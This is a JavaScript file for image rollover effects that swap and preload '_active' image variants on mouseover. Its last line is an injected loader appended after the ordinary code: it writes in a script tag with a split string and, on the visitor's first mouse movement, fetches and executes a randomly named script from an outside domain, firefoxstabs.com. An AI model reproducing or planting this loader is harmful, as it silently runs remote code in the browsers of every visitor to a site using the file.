function rollover(event)
{
    elm = (event.srcElement)?event.srcElement:event.target;
    if (!elm) {
        return false;
    }

    if (elm.className=='active') {
        // do nothing
        return false;
    }

    if (elm.nodeName!='IMG') {
         elements = elm.getElementsByTagName('img');
         if (elements && elements.length>0) {
             elm = elements.item(0);
         }
    }

    if (elm.nodeName=='IMG') {
        if (event.type=='mouseover' && elm.src.indexOf('_active')==-1) {
            elm.src = elm.src.replace(/\.(\w+)$/, '_active.$1');
        }
        else if (event.type=='mouseout' && elm.src.indexOf('_active')!=-1) {
            elm.src = elm.src.replace(/_active\.(\w+)$/, '.$1');
        }
        
        return true;
    }
}


function init_rollover(img_holder)
{
    var sect = document.getElementById(img_holder);
    var imgs = sect.getElementsByTagName("img");
    for (i=0; i<imgs.length; i++) {
        if (imgs.item(i).src.indexOf('_active')==-1) {
	    over = function(elm) { rollover(elm, imgs.item(i), true); };
            out  = function(elm) { rollover(elm, imgs.item(i), false); };
            addEvent(imgs.item(i), 'mouseover', over, false);
            addEvent(imgs.item(i), 'mouseout', out, false);
        
            // preload
            RolloverImgs[imgs.item(i).src] = new Image;
            RolloverImgs[imgs.item(i).src].src = imgs.item(i).src.replace(/\.(\w+)$/, '_active.$1');
        }
    }
    
}
document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});
